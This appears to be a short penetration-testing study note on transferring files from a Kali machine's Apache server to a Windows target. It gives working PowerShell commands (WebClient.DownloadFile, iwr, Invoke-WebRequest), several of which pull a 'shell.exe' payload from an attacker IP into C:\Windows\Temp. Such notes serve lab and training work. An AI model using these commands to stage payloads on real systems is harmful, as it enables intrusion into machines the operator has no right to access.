First enable apache service on kali and put wget.exe file in /var/www/html. Now we can either open PowerShell or cmd.
powershell -c "(New-Object System.Net.WebClient).DownloadFile('<http://10.11.51.119/FileZilla_Server_1.1.0_win64-setup.exe','C:\\Users\\Jon\\Desktop\\FileZilla_Server_1.1.0_win64-setup.exe>')"
Here powershell -c acts as typing inside "" in PowerShell. new-object cmdlet that allows us to instantiate either a .Net Framework or a COM object. WebClient is a class that contains DownloadFile public method (function). With wget.exe we have another tool to download additional files.
Another way of doing above -
iwr -uri 10.11.51.119/shell.exe -o 'c:\\Windows\\Temp\\shell.exe'
or
Invoke-WebRequest -Uri '<http://10.11.51.119:80/shell.exe>' -OutFile 'C:\\Windows\\Temp\\shell.exe'